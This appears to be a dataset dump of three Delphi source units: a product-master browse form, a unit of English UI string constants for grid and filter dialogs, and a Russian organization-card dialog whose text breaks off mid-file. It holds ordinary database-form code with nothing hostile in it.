text
stringlengths
14
6.51M
unit ufrmMasterProductNBD; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ufrmMaster, ufraFooter5Button, StdCtrls, ExtCtrls, ActnList, uConn, ufrmMasterBrowse, cxGraphics, cxControls, cxLookAndFeels, cxLookAndFeelPainters, cxStyles, cxCustomData, cxFilter, cxData, cxDataStorage, cxEdit, cxNavigator, Data.DB, cxDBData, cxContainer, Vcl.ComCtrls, dxCore, cxDateUtils, System.Actions, cxClasses, ufraFooter4Button, cxTextEdit, cxMaskEdit, cxDropDownEdit, cxCalendar, cxLabel, cxGridLevel, cxGridCustomView, cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGrid, dxBarBuiltInMenu, Vcl.Menus, cxButtons, cxPC; type TfrmMasterProductNBD = class(TfrmMasterBrowse) actlst1: TActionList; actAddMasterProductNBD: TAction; actEditMasterProductNBD: TAction; actDeleteMasterProductNBD: TAction; actRefreshMasterProductNBD: TAction; pnl1: TPanel; edtProductDesc: TEdit; lbl1: TLabel; lbl2: TLabel; edtProductType: TEdit; lbl3: TLabel; lbl4: TLabel; edtProductTypeName: TEdit; edtAccountDB: TEdit; edtAccountNameDB: TEdit; edtAccountCR: TEdit; edtAccountNameCR: TEdit; Panel1: TPanel; edtSearch: TEdit; Label1: TLabel; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure FormDestroy(Sender: TObject); procedure actAddMasterProductNBDExecute(Sender: TObject); procedure actEditMasterProductNBDExecute(Sender: TObject); procedure actDeleteMasterProductNBDExecute(Sender: TObject); procedure actRefreshMasterProductNBDExecute(Sender: TObject); procedure FormShow(Sender: TObject); procedure stringgridGridSelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); procedure FormActivate(Sender: TObject); procedure strgGridRowChanging(Sender: TObject; OldRow, NewRow: Integer; var Allow: Boolean); procedure strgGridSelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); procedure strgGridGridHint(Sender: TObject; ARow, ACol: Integer; var hintstr: String); procedure edtSearchChange(Sender: TObject); private IdMasterProductNBD: integer; strnama: string; procedure RefreshData(); procedure FindDataOnGrid(AText: String); public { Public declarations } end; var frmMasterProductNBD: TfrmMasterProductNBD; implementation uses ufrmDialogMasterProductNBD, uTSCommonDlg, Math, uConstanta, uRetnoUnit; const _KolCODE = 0; _KolBKP = 1; _KolTax = 2; _KolUOM = 3; _KolPRICE = 4; _KolQTY = 5; _KolPROJAS_NAME = 6; _KolTPPRO_CODE = 7; _KolTPPRO_NAME = 8; _KolTPPRO_REK_DEBET = 9; _KolACCOUNT_NAME_DB = 10; _KolTPPRO_REK_CREDIT = 11; _KolACCOUNT_NAME_CR = 12; {$R *.dfm} procedure TfrmMasterProductNBD.FormClose(Sender: TObject; var Action: TCloseAction); begin inherited; Try //frmMain.DestroyMenu((sender as TForm)); Except end; Action := caFree; end; procedure TfrmMasterProductNBD.FormDestroy(Sender: TObject); begin inherited; frmMasterProductNBD := nil; end; procedure TfrmMasterProductNBD.actAddMasterProductNBDExecute(Sender: TObject); begin // if MasterNewUnit.ID=0 then begin CommonDlg.ShowError(ER_UNIT_NOT_SPECIFIC); //frmMain.cbbUnit.SetFocus; Exit; end; if not Assigned(frmDialogMasterProductNBD) then Application.CreateForm(TfrmDialogMasterProductNBD, frmDialogMasterProductNBD); frmDialogMasterProductNBD.Caption := 'Add NBD Product Master'; frmDialogMasterProductNBD.FormMode := fmAdd; SetFormPropertyAndShowDialog(frmDialogMasterProductNBD); if (frmDialogMasterProductNBD.IsProcessSuccessfull) then begin actRefreshMasterProductNBDExecute(Self); CommonDlg.ShowConfirm(atAdd); end; frmDialogMasterProductNBD.Free; end; procedure TfrmMasterProductNBD.actEditMasterProductNBDExecute(Sender: TObject); begin // if cxGridView.DataController.Values[0,strgGrid.row]='' then Exit; // if MasterNewUnit.ID=0 then begin CommonDlg.ShowError(ER_UNIT_NOT_SPECIFIC); //frmMain.cbbUnit.SetFocus; Exit; end; if not Assigned(frmDialogMasterProductNBD) then Application.CreateForm(TfrmDialogMasterProductNBD, frmDialogMasterProductNBD); frmDialogMasterProductNBD.Caption := 'Edit NBD Product Master'; frmDialogMasterProductNBD.FormMode := fmEdit; // frmDialogMasterProductNBD.MasterProductNBDId := cxGridView.DataController.Values[0,strgGrid.row]; SetFormPropertyAndShowDialog(frmDialogMasterProductNBD); if (frmDialogMasterProductNBD.IsProcessSuccessfull) then begin actRefreshMasterProductNBDExecute(Self); CommonDlg.ShowConfirm(atEdit); end; frmDialogMasterProductNBD.Free; end; procedure TfrmMasterProductNBD.actDeleteMasterProductNBDExecute(Sender: TObject); //var // FNewProduk_Jasa : TNewProduk_Jasa; begin { if cxGridView.DataController.Values[0,strgGrid.row]='' then Exit; if (CommonDlg.Confirm('Are you sure you wish to delete Product (Code : '+cxGridView.DataController.Values[0,strgGrid.row]+')?') = mrYes) then begin FNewProduk_Jasa := TNewProduk_Jasa.CreateWithUser(self, FLoginId, FLoginUnitId); //FNewProduk_Jasa.LoadByCODE(cxGridView.DataController.Values[0,strgGrid.row], MasterNewUnit.ID); // if MasterProductNBD.DeleteMasterProductNBD(cxGridView.DataController.Values[0,strgGrid.row]) then if FNewProduk_Jasa.RemoveFromDB(cxGridView.DataController.Values[0,strgGrid.row], MasterNewUnit.ID) then begin cCommitTrans; actRefreshMasterProductNBDExecute(Self); CommonDlg.ShowConfirm(atDelete); FNewProduk_Jasa.Free; end else begin cRollbackTrans; CommonDlg.ShowError(ER_DELETE_FAILED); FNewProduk_Jasa.Free; end; end; } end; procedure TfrmMasterProductNBD.RefreshData; var // sSQL: string; data: TDataSet; i: Integer; tempBool: Boolean; begin { data := GetDataMasterProductNBD(MasterNewUnit.ID, Mastercompany.ID); data.Last; with strgGrid do begin Clear; RowCount := data.RecordCount+1; ColCount := 6; Cells[_KolCODE, 0] := 'CODE'; Cells[_KolBKP, 0] := 'BKP/NON BKP'; Cells[_KolTax, 0] := 'TAX'; Cells[_KolUOM, 0] := 'UOM'; Cells[_KolPRICE, 0] := 'UNIT PRICE (NonPPN)'; Cells[_KolQTY, 0] := 'JML'; i:=1; data.First; if RowCount>1 then with data do while not Eof do begin Cells[_KolCODE, i] := data.Fieldbyname('PROJAS_CODE').AsString; if data.Fieldbyname('PROJAS_IS_BKP').AsInteger = 1 then Cells[_KolBKP, i] := 'BKP' else Cells[_KolBKP, i] := 'NON BKP'; Cells[_KolTax, i] := data.Fieldbyname('PJK_NAME').AsString; Cells[_KolUOM, i] := data.Fieldbyname('PROJAS_SATNBD_CODE').AsString; Cells[_KolPRICE, i] := FormatFloat('"Rp" ,0.00', data.Fieldbyname('PROJAS_PRICE').AsFloat) + ' / ' + data.Fieldbyname('PER_NAME').AsString; Cells[_KolPROJAS_NAME, i] := data.Fieldbyname('PROJAS_NAME').AsString; Cells[_KolQty, i] := data.Fieldbyname('PROJAS_QTY').AsString; Cells[_KolTPPRO_CODE, i] := data.Fieldbyname('TPPRO_CODE').AsString; Cells[_KolTPPRO_NAME, i] := data.Fieldbyname('TPPRO_NAME').AsString; Cells[_KolTPPRO_REK_DEBET, i] := data.Fieldbyname('TPPRO_REK_DEBET').AsString; Cells[_KolACCOUNT_NAME_DB, i] := data.Fieldbyname('ACCOUNT_NAME_DB').AsString; Cells[_KolTPPRO_REK_CREDIT, i] := data.Fieldbyname('TPPRO_REK_CREDIT').AsString; Cells[_KolACCOUNT_NAME_CR, i] := data.Fieldbyname('ACCOUNT_NAME_CR').AsString; i:=i+1; Next; end else //RowCount begin RowCount:=2; i := 1; Cells[_KolCODE, i] := ' '; Cells[_KolBKP, i] := ' '; Cells[_KolTax, i] := ' '; Cells[_KolUOM, i] := ' '; Cells[_KolPRICE, i] := ' '; Cells[_KolQty, i] := '0'; Cells[_KolPROJAS_NAME, i] := ' '; Cells[_KolTPPRO_CODE, i] := ' '; Cells[_KolTPPRO_NAME, i] := ' '; Cells[_KolTPPRO_REK_DEBET, i] := ' '; Cells[_KolACCOUNT_NAME_DB, i] := ' '; Cells[_KolTPPRO_REK_CREDIT, i] := ' '; Cells[_KolACCOUNT_NAME_CR, i] := ' '; //NOT USED id end; FixedRows := 1; AutoSize := true; end; strgGridRowChanging(Self,0,1,tempBool); strgGrid.SetFocus; } end; procedure TfrmMasterProductNBD.actRefreshMasterProductNBDExecute(Sender: TObject); begin RefreshData(); end; procedure TfrmMasterProductNBD.FormShow(Sender: TObject); begin inherited; lblHeader.Caption := 'NBD PRODUCT MASTER'; actRefreshMasterProductNBDExecute(Self); end; procedure TfrmMasterProductNBD.stringgridGridSelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); begin inherited; // IdMasterProductNBD:= StrToInt(cxGridView.DataController.Values[2,arow]); // strNama:= cxGridView.DataController.Values[1,arow]; end; procedure TfrmMasterProductNBD.FormActivate(Sender: TObject); begin inherited; //frmMain.CreateMenu((sender as TForm)); end; procedure TfrmMasterProductNBD.strgGridRowChanging(Sender: TObject; OldRow, NewRow: Integer; var Allow: Boolean); begin inherited; edtProductDesc.Text := cxGridView.DataController.Values[_KolPROJAS_NAME ,NewRow]; edtProductType.Text := cxGridView.DataController.Values[_KolTPPRO_CODE ,NewRow]; edtProductTypeName.Text := cxGridView.DataController.Values[_KolTPPRO_NAME ,NewRow]; edtAccountDB.Text := cxGridView.DataController.Values[_KolTPPRO_REK_DEBET ,NewRow]; edtAccountNameDB.Text := cxGridView.DataController.Values[_KolACCOUNT_NAME_DB ,NewRow]; edtAccountCR.Text := cxGridView.DataController.Values[_KolTPPRO_REK_CREDIT ,NewRow]; edtAccountNameCR.Text := cxGridView.DataController.Values[_KolACCOUNT_NAME_CR ,NewRow]; end; procedure TfrmMasterProductNBD.strgGridSelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean); begin inherited; edtProductDesc.Text := cxGridView.DataController.Values[_KolPROJAS_NAME,ARow]; edtProductType.Text := cxGridView.DataController.Values[_KolTPPRO_CODE,ARow]; edtProductTypeName.Text := cxGridView.DataController.Values[_KolTPPRO_NAME,ARow]; edtAccountDB.Text := cxGridView.DataController.Values[_KolTPPRO_REK_DEBET,ARow]; edtAccountNameDB.Text := cxGridView.DataController.Values[_KolACCOUNT_NAME_DB,ARow]; edtAccountCR.Text := cxGridView.DataController.Values[_KolTPPRO_REK_CREDIT,ARow]; edtAccountNameCR.Text := cxGridView.DataController.Values[_KolACCOUNT_NAME_CR,ARow]; end; procedure TfrmMasterProductNBD.strgGridGridHint(Sender: TObject; ARow, ACol: Integer; var hintstr: String); begin inherited; if ACol = _KolPRICE then hintstr := '"UNIT PRICE non PPN" = DPP'; end; procedure TfrmMasterProductNBD.FindDataOnGrid(AText: String); var resPoint: TPoint; begin if (AText <> '') then begin // resPoint := strgGrid.Find(Point(0,0),AText,[fnIncludeFixed]); if (resPoint.Y <> -1) then begin // strgGrid.ScrollInView(resPoint.X, resPoint.Y); // strgGrid.SelectRows(resPoint.Y, 1); end; end; end; procedure TfrmMasterProductNBD.edtSearchChange(Sender: TObject); begin inherited; FindDataOnGrid(edtSearch.Text); end; end.
unit SMCnst; interface {English strings} const strMessage = 'Print...'; strSaveChanges = 'Do you really want to save a changes on the Database Server?'; strErrSaveChanges = 'Can''t save a data! Check a Server connection or data validation.'; strDeleteWarning = 'Do you really want to delete a table %s?'; strEmptyWarning = 'Do you really want to empty a table %s?'; const PopUpCaption: array [0..22] of string[33] = ('Add record', 'Insert record', 'Edit record', 'Delete record', '-', 'Print ...', 'Export ...', '-', 'Save changes', 'Discard changes', 'Refresh', '-', 'Select/Unselect records', 'Select record', 'Select All records', '-', 'UnSelect record', 'UnSelect All records', '-', 'Save column layout', 'Restore column layout', '-', 'Setup...'); const //for TSMSetDBGridDialog SgbTitle = ' Title '; SgbData = ' Data '; STitleCaption = 'Caption:'; STitleAlignment = 'Alignment:'; STitleColor = 'Background:'; STitleFont = 'Font:'; SWidth = 'Width:'; SWidthFix = 'characters'; SAlignLeft = 'left'; SAlignRight = 'right'; SAlignCenter = 'center'; const //for TSMDBFilterDialog strEqual = 'equal'; strNonEqual = 'not equal'; strNonMore = 'no greater'; strNonLess = 'no less'; strLessThan = 'less than'; strLargeThan = 'greater than'; strExist = 'empty'; strNonExist = 'not empty'; strIn = 'in list'; strBetween = 'between'; strOR = 'OR'; strAND = 'AND'; strField = 'Field'; strCondition = 'Condition'; strValue = 'Value'; strAddCondition = ' Define the additional condition:'; strSelection = ' Select the records by the next conditions:'; strAddToList = 'Add to list'; strEditInList = 'Edit in list'; strDeleteFromList = 'Delete from list'; strTemplate = 'Filter template dialog'; strFLoadFrom = 'Load from...'; strFSaveAs = 'Save as..'; strFDescription = 'Description'; strFFileName = 'File name'; strFCreate = 'Created: %s'; strFModify = 'Modified: %s'; strFProtect = 'Protect for rewrite'; strFProtectErr = 'File is protected!'; const //for SMDBNavigator SFirstRecord = 'First record'; SPriorRecord = 'Prev record'; SNextRecord = 'Next record'; SLastRecord = 'Last record'; SInsertRecord = 'Insert record'; SCopyRecord = 'Copy record'; SDeleteRecord = 'Delete record'; SEditRecord = 'Edit record'; SFilterRecord = 'Filter conditions'; SFindRecord = 'Search of the record'; SPrintRecord = 'Print of the records'; SExportRecord = 'Export of the records'; SPostEdit = 'Save changes'; SCancelEdit = 'Cancel changes'; SRefreshRecord = 'Refresh data'; SChoice = 'Choose a record'; SClear = 'Clear a record choose'; SDeleteRecordQuestion = 'Delete a record?'; SDeleteMultipleRecordsQuestion = 'Do you really want to delete a selected records?'; SRecordNotFound = 'Record not found'; SFirstName = 'First'; SPriorName = 'Prev'; SNextName = 'Next'; SLastName = 'Last'; SInsertName = 'Insert'; SCopyName = 'Copy'; SDeleteName = 'Delete'; SEditName = 'Edit'; SFilterName = 'Filter'; SFindName = 'Find'; SPrintName = 'Print'; SExportName = 'Export'; SPostName = 'Save'; SCancelName = 'Cancel'; SRefreshName = 'Refresh'; SChoiceName = 'Choose'; SClearName = 'Clear'; SBtnOk = '&OK'; SBtnCancel = '&Cancel'; SBtnLoad = 'Load'; SBtnSave = 'Save'; SBtnCopy = 'Copy'; SBtnPaste = 'Paste'; SBtnClear = 'Clear'; SRecNo = 'rec.'; SRecOf = ' of '; const //for EditTyped etValidNumber = 'valid number'; etValidInteger = 'valid integer number'; etValidDateTime = 'valid date/time'; etValidDate = 'valid date'; etValidTime = 'valid time'; etValid = 'valid'; etIsNot = 'is not a'; etOutOfRange = 'Value %s out of range %s..%s'; SApplyAll = 'Apply to All'; implementation end.
unit uDlgOrganizationCard; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, uBASE_DialogForm, Menus, cxLookAndFeelPainters, StdCtrls, cxButtons, ExtCtrls, cxControls, cxPC, cxContainer, cxEdit, cxGroupBox, cxCheckBox, cxDBEdit, DB, ADODB, cxGraphics, cxTextEdit, cxMaskEdit, cxDropDownEdit, cxLookupEdit, cxDBLookupEdit, cxDBLookupComboBox, cxCalendar, cxMemo, cxButtonEdit, Grids, DBGrids, cxCurrencyEdit; type TdlgOrganizationCard = class(TBASE_DialogForm) pcData: TcxPageControl; tsCommon: TcxTabSheet; tsAddresses: TcxTabSheet; gpLable: TcxGroupBox; gbOrganization: TcxGroupBox; Label3: TLabel; Label4: TLabel; Label5: TLabel; Label6: TLabel; Label7: TLabel; Label8: TLabel; Label9: TLabel; Label10: TLabel; Label11: TLabel; Label12: TLabel; cxDBCheckBox2: TcxDBCheckBox; Query: TADOQuery; DataSource: TDataSource; lcOPF: TcxDBLookupComboBox; dsOPF: TDataSource; qryOPF: TADOQuery; teNameShort: TcxDBTextEdit; teNameFull: TcxDBTextEdit; cxDBDateEdit1: TcxDBDateEdit; cxDBTextEdit3: TcxDBTextEdit; cxDBTextEdit4: TcxDBTextEdit; lcPost: TcxDBLookupComboBox; lcBranch: TcxDBLookupComboBox; lcJurisdiction: TcxDBLookupComboBox; cxDBMemo1: TcxDBMemo; dsPost: TDataSource; qryPost: TADOQuery; dsBranch: TDataSource; qryBranch: TADOQuery; dsJurisdiction: TDataSource; qryJurisdiction: TADOQuery; cxGroupBox1: TcxGroupBox; Label1: TLabel; Label2: TLabel; Label13: TLabel; Label14: TLabel; Label15: TLabel; Label16: TLabel; teSettlement1: TcxDBTextEdit; teStreetType1: TcxDBTextEdit; cxDBTextEdit5: TcxDBTextEdit; cxDBTextEdit6: TcxDBTextEdit; cxDBTextEdit7: TcxDBTextEdit; Label17: TLabel; cxDBTextEdit8: TcxDBTextEdit; cxGroupBox4: TcxGroupBox; Label18: TLabel; Label19: TLabel; Label20: TLabel; Label21: TLabel; Label22: TLabel; Label23: TLabel; Label24: TLabel; teSettlement2: TcxDBTextEdit; teStreetType2: TcxDBTextEdit; cxDBTextEdit11: TcxDBTextEdit; cxDBTextEdit12: TcxDBTextEdit; cxDBTextEdit13: TcxDBTextEdit; cxDBTextEdit14: TcxDBTextEdit; beStreet1: TcxDBButtonEdit; beStreet2: TcxDBButtonEdit; tsCodes: TcxTabSheet; OD: TOpenDialog; dsDocType: TDataSource; qryDocType: TADOQuery; cxGroupBox5: TcxGroupBox; cxGroupBox6: TcxGroupBox; Label31: TLabel; Label32: TLabel; Label33: TLabel; Label34: TLabel; Label35: TLabel; Label36: TLabel; Label37: TLabel; Label38: TLabel; Label39: TLabel; Label40: TLabel; Label41: TLabel; Label42: TLabel; lcBank: TcxDBLookupComboBox; cxDBTextEdit17: TcxDBTextEdit; cxDBTextEdit18: TcxDBTextEdit; cxDBTextEdit19: TcxDBTextEdit; cxDBTextEdit20: TcxDBTextEdit; cxDBTextEdit21: TcxDBTextEdit; cxDBTextEdit22: TcxDBTextEdit; cxDBTextEdit23: TcxDBTextEdit; cxDBTextEdit24: TcxDBTextEdit; cxDBTextEdit25: TcxDBTextEdit; cxDBTextEdit26: TcxDBTextEdit; cxDBTextEdit27: TcxDBTextEdit; dsBank: TDataSource; qryBank: TADOQuery; beStreet1_tmp: TcxDBButtonEdit; beStreet2_tmp: TcxDBButtonEdit; cxDBDateEdit3: TcxDBDateEdit; cxDBTextEdit1: TcxDBTextEdit; Label43: TLabel; Label44: TLabel; Label45: TLabel; cxDBTextEdit2: TcxDBTextEdit; Label46: TLabel; cxDBTextEdit9: TcxDBTextEdit; Label47: TLabel; cxDBTextEdit10: TcxDBTextEdit; tsImport: TcxTabSheet; Label48: TLabel; Label49: TLabel; Label50: TLabel; Label51: TLabel; Label52: TLabel; Label53: TLabel; Label54: TLabel; cxDBTextEdit28: TcxDBTextEdit; cxDBTextEdit29: TcxDBTextEdit; cxDBDateEdit4: TcxDBDateEdit; cxDBCurrencyEdit1: TcxDBCurrencyEdit; cxDBCurrencyEdit2: TcxDBCurrencyEdit; cxDBCurrencyEdit3: TcxDBCurrencyEdit; cxDBTextEdit30: TcxDBTextEdit; Label55: TLabel; cxDBCurrencyEdit5: TcxDBCurrencyEdit; Label56: TLabel; cxDBCurrencyEdit4: TcxDBCurrencyEdit; Label57: TLabel; cxDBMemo4: TcxDBMemo; Bevel1: TBevel; Label58: TLabel; Bevel2: TBevel; cxDBMemo5: TcxDBMemo; Label59: TLabel; lcDepartment: TcxDBLookupComboBox; dsDepartment: TDataSource; qryDepartment: TADOQuery; Label60: TLabel; qryArchive: TADOQuery; dsArchive: TDataSource; lcShowArchive: TcxLookupComboBox; Label61: TLabel; dsStatus: TDataSource; qryStatus: TADOQuery; lcStatus: TcxDBLookupComboBox; Label62: TLabel; lcType: TcxDBLookupComboBox; dsType: TDataSource; qryType: TADOQuery; Label63: TLabel; Label64: TLabel; Label65: TLabel; Label66: TLabel; Label67: TLabel; Label68: TLabel; Label69: TLabel; Label70: TLabel; Label71: TLabel; Label72: TLabel; cxDBTextEdit31: TcxDBTextEdit; cxDBTextEdit32: TcxDBTextEdit; cxDBTextEdit33: TcxDBTextEdit; cxDBTextEdit34: TcxDBTextEdit; cxDBTextEdit35: TcxDBTextEdit; cxDBTextEdit36: TcxDBTextEdit; cxDBTextEdit37: TcxDBTextEdit; cxDBTextEdit38: TcxDBTextEdit; cxDBTextEdit39: TcxDBTextEdit; cxDBTextEdit40: TcxDBTextEdit; Label73: TLabel; cxDBTextEdit41: TcxDBTextEdit; pcOther: TcxPageControl; tsDocAboutCreate: TcxTabSheet; tsComment: TcxTabSheet; cxDBMemo2: TcxDBMemo; Label25: TLabel; Label26: TLabel; Label27: TLabel; Label28: TLabel; Label29: TLabel; cxDBTextEdit15: TcxDBTextEdit; cxDBDateEdit2: TcxDBDateEdit; lcDocType: TcxDBLookupComboBox; cxDBTextEdit16: TcxDBTextEdit; cxDBButtonEdit1: TcxDBButtonEdit; Label30: TLabel; cxDBMemo3: TcxDBMemo; cxGroupBox2: TcxGroupBox; Label74: TLabel; Label75: TLabel; Label76: TLabel; Label77: TLabel; Label78: TLabel; Label79: TLabel; Label80: TLabel; Label81: TLabel; Bevel3: TBevel; Label82: TLabel; teSettlement3: TcxDBTextEdit; teStreetType3: TcxDBTextEdit; cxDBTextEdit44: TcxDBTextEdit; cxDBTextEdit45: TcxDBTextEdit; cxDBTextEdit46: TcxDBTextEdit; cxDBTextEdit47: TcxDBTextEdit; beStreet3: TcxDBButtonEdit; beStreet3_tmp: TcxDBButtonEdit; cxDBCurrencyEdit6: TcxDBCurrencyEdit; cxDBMemo6: TcxDBMemo; gbPersonDoc: TcxGroupBox; Label83: TLabel; Label85: TLabel; Label87: TLabel; Label89: TLabel; Label91: TLabel; lcPersonDocType: TcxDBLookupComboBox; cxDBTextEdit48: TcxDBTextEdit; cxDBTextEdit49: TcxDBTextEdit; cxDBTextEdit50: TcxDBTextEdit; cxDBDateEdit5: TcxDBDateEdit; dsPersonDocType: TDataSource; qryPersonDocType: TADOQuery; Label84: TLabel; cxDBTextEdit51: TcxDBTextEdit; lcPropertyForm: TcxDBLookupComboBox; dsPropertyForm: TDataSource; qryPropertyForm: TADOQuery; Label86: TLabel; Bevel4: TBevel; procedure LookupComboBoxButtonClick(Sender: TObject; AButtonIndex: Integer); procedure cxDBButtonEdit1PropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure cxDBButtonEdit2PropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure beStreet2PropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure cxDBCheckBox2PropertiesChange(Sender: TObject); procedure btnOKClick(Sender: TObject); procedure lcShowArchivePropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure beStreet3PropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure tsCodesShow(Sender: TObject); private FPrimaryKey: integer; procedure SetPrimaryKey(const Value: integer); { Private declarations } protected procedure Check; override; public property PrimaryKey: integer read FPrimaryKey write SetPrimaryKey; constructor Create(AOwner: TComponent); override; end; var dlgOrganizationCard: TdlgOrganizationCard; implementation uses uMain, uCommonUtils, uAccess, uUserBook, uFrmStreet, uParams, GlobalVars, ShellAPI; {$R *.dfm} { TdlgOrganizationCard } constructor TdlgOrganizationCard.Create(AOwner: TComponent); begin inherited; self.Query.Connection:=Connection; self.qryOPF.Connection:=Connection; self.qryPost.Connection:=Connection; self.qryBranch.Connection:=Connection; self.qryJurisdiction.Connection:=Connection; self.qryDocType.Connection:=Connection; self.qryBank.Connection:=Connection; self.qryStatus.Connection:=Connection; self.qryType.Connection:=Connection; self.qryDepartment.Connection:=Connection; self.qryArchive.Connection:=Connection; self.qryPersonDocType.Connection:=Connection; self.qryPropertyForm.Connection:=Connection; self.qryOPF.Open; self.qryPost.Open; self.qryBranch.Open; self.qryJurisdiction.Open; self.qryDocType.Open; self.qryBank.Open; self.qryStatus.Open; self.qryType.Open; self.qryDepartment.Open; self.qryArchive.Open; self.qryPersonDocType.Open; self.qryPropertyForm.Open; end; procedure TdlgOrganizationCard.LookupComboBoxButtonClick( Sender: TObject; AButtonIndex: Integer); var a: TAccessBook; lc: TcxDBLookupComboBox; qry: TAdoQuery; begin inherited; if AButtonIndex=2 then begin a:=TAccessBook.Create; try lc:=Sender as TcxDBLookupComboBox; a.ObjectID:=lc.Tag; qry:=lc.Properties.ListSource.DataSet as TAdoQuery; if a.ShowModal(qry[qry.Fields[0].FieldName], false, false)<>mrOK then exit; qry.Close; qry.Open; lc.DataBinding.StoredValue:=(a.UserBook as TUserBook).PrimaryKeyValue; lc.DataBinding.UpdateDisplayValue; finally a.Free; end; end; if AButtonIndex=1 then begin (Sender as TcxDBLookupComboBox).DataBinding.StoredValue:=null; (Sender as TcxDBLookupComboBox).DataBinding.DisplayValue:=null; end end; procedure TdlgOrganizationCard.Check; begin if trim(lcDepartment.Text)='' then begin ShowError('Ошибка ввода', 'Необходимо заполнить поле "Ведомство"', Handle); lcDepartment.SetFocus; abort; end; if trim(teNameShort.Text)='' then begin ShowError('Ошибка ввода', 'Необходимо заполнить поле "Наименование (сокращенное)"', Handle); teNameShort.SetFocus; abort; end; if trim(teNameFull.Text)='' then begin ShowError('Ошибка ввода', 'Необходимо заполнить поле "Наименование (полное)"', Handle); teNameFull.SetFocus; abort; end; if Query['Субъекты учета.Тип']<>1 then begin Query.Edit; Query['Субъекты учета.Документ удостоверяющий личность']:=null; Query['Субъекты учета.ДокументУЛ_номер']:=null; Query['Субъекты учета.ДокументУЛ_серия']:=null; Query['Субъекты учета.ДокументУЛ_КемВыдан']:=null; Query['Субъекты учета.ДокументУЛ_КогдаВыдан']:=null; Query.Post; end; end; procedure TdlgOrganizationCard.SetPrimaryKey(const Value: integer); begin FPrimaryKey:=Value; Query.Close; Query.SQL.Text:='[sp_Субъекты учета_фильтр] @код_Субъекты_учета = '+IntToStr(Value); Query.Open; end; procedure TdlgOrganizationCard.cxDBButtonEdit1PropertiesButtonClick( Sender: TObject; AButtonIndex: Integer); begin inherited; if not OD.Execute then exit; (Sender as TcxDBButtonEdit).DataBinding.StoredValue:=OD.FileName; (Sender as TcxDBButtonEdit).DataBinding.DisplayValue:=OD.FileName; end; procedure TdlgOrganizationCard.cxDBButtonEdit2PropertiesButtonClick( Sender: TObject; AButtonIndex: Integer); var a: TAccessSelectorForm; p: TParamCollection; begin inherited; if AButtonIndex=0 then begin teSettlement1.DataBinding.StoredValue:=null; teSettlement1.DataBinding.DisplayValue:=null; teStreetType1.DataBinding.StoredValue:=null; teStreetType1.DataBinding.DisplayValue:=null; beStreet1.DataBinding.StoredValue:=null; beStreet1.DataBinding.DisplayValue:=null; beStreet1_tmp.DataBinding.StoredValue:=null; beStreet1_tmp.DataBinding.DisplayValue:=null; end; if AButtonIndex=1 then begin a:=TAccessSelectorForm.Create; a.ObjectID:=52; a.FormClass:=TfrmStreet; p:=TParamCollection.Create(TParamItem); try p.Add('код_Улица'); p.Add('Нас. пункт'); p.Add('Тип улицы'); p.Add('Улица'); p['код_Улица'].Value:=beStreet1_tmp.DataBinding.StoredValue; if a.ShowModal(p, null)<>mrOK then exit; teSettlement1.DataBinding.DisplayValue:=p['Нас. пункт'].Value; teSettlement1.DataBinding.StoredValue:=p['Нас. пункт'].Value; teStreetType1.DataBinding.DisplayValue:=p['Тип улицы'].Value; teStreetType1.DataBinding.StoredValue:=p['Тип улицы'].Value; beStreet1.DataBinding.DisplayValue:=p['Улица'].Value; beStreet1.DataBinding.StoredValue:=p['Улица'].Value; beStreet1_tmp.DataBinding.DisplayValue:=p['код_Улица'].Value; beStreet1_tmp.DataBinding.StoredValue:=p['код_Улица'].Value; finally p.Free; end; end; end; procedure TdlgOrganizationCard.beStreet2PropertiesButtonClick( Sender: TObject; AButtonIndex: Integer); var a: TAccessSelectorForm; p: TParamCollection; begin inherited; if AButtonIndex=0 then begin teSettlement2.DataBinding.StoredValue:=null; teSettlement2.DataBinding.DisplayValue:=null; teStreetType2.DataBinding.StoredValue:=null; teStreetType2.DataBinding.DisplayValue:=null; beStreet2.DataBinding.StoredValue:=null; beStreet2.DataBinding.DisplayValue:=null; beStreet2_tmp.DataBinding.StoredValue:=null; beStreet2_tmp.DataBinding.DisplayValue:=null; end; if AButtonIndex=1 then begin a:=TAccessSelectorForm.Create; a.ObjectID:=52; a.FormClass:=TfrmStreet; p:=TParamCollection.Create(TParamItem); try p.Add('код_Улица'); p.Add('Нас. пункт'); p.Add('Тип улицы'); p.Add('Улица'); p['код_Улица'].Value:=beStreet2_tmp.DataBinding.StoredValue; if a.ShowModal(p, null)<>mrOK then exit; teSettlement2.DataBinding.DisplayValue:=p['Нас. пункт'].Value; teSettlement2.DataBinding.StoredValue:=p['Нас. пункт'].Value; teStreetType2.DataBinding.DisplayValue:=p['Тип улицы'].Value; teStreetType2.DataBinding.StoredValue:=p['Тип улицы'].Value; beStreet2.DataBinding.DisplayValue:=p['Улица'].Value; beStreet2.DataBinding.StoredValue:=p['Улица'].Value; beStreet2_tmp.DataBinding.DisplayValue:=p['код_Улица'].Value; beStreet2_tmp.DataBinding.StoredValue:=p['код_Улица'].Value; finally p.Free; end; end; end; procedure TdlgOrganizationCard.cxDBCheckBox2PropertiesChange( Sender: TObject); begin inherited; if cxDBCheckBox2.Checked then begin cxDBDateEdit3.Style.Color:=clWindow; cxDBTextEdit1.Style.Color:=clWindow; end else begin cxDBDateEdit3.Style.Color:=clBtnFace; cxDBTextEdit1.Style.Color:=clBtnFace; end; cxDBDateEdit3.Properties.ReadOnly:=not cxDBCheckBox2.Checked; cxDBTextEdit1.Properties.ReadOnly:=not cxDBCheckBox2.Checked; end; procedure TdlgOrganizationCard.btnOKClick(Sender: TObject); begin Check; if not cxDBCheckBox2.Checked then begin Query.Edit; Query['Субъекты учета.Дата ликвидации']:=null; Query['Субъекты учета.Нормативный документ о ликвидации']:=null; Query.Post; end; ModalResult:=mrOK; end; procedure 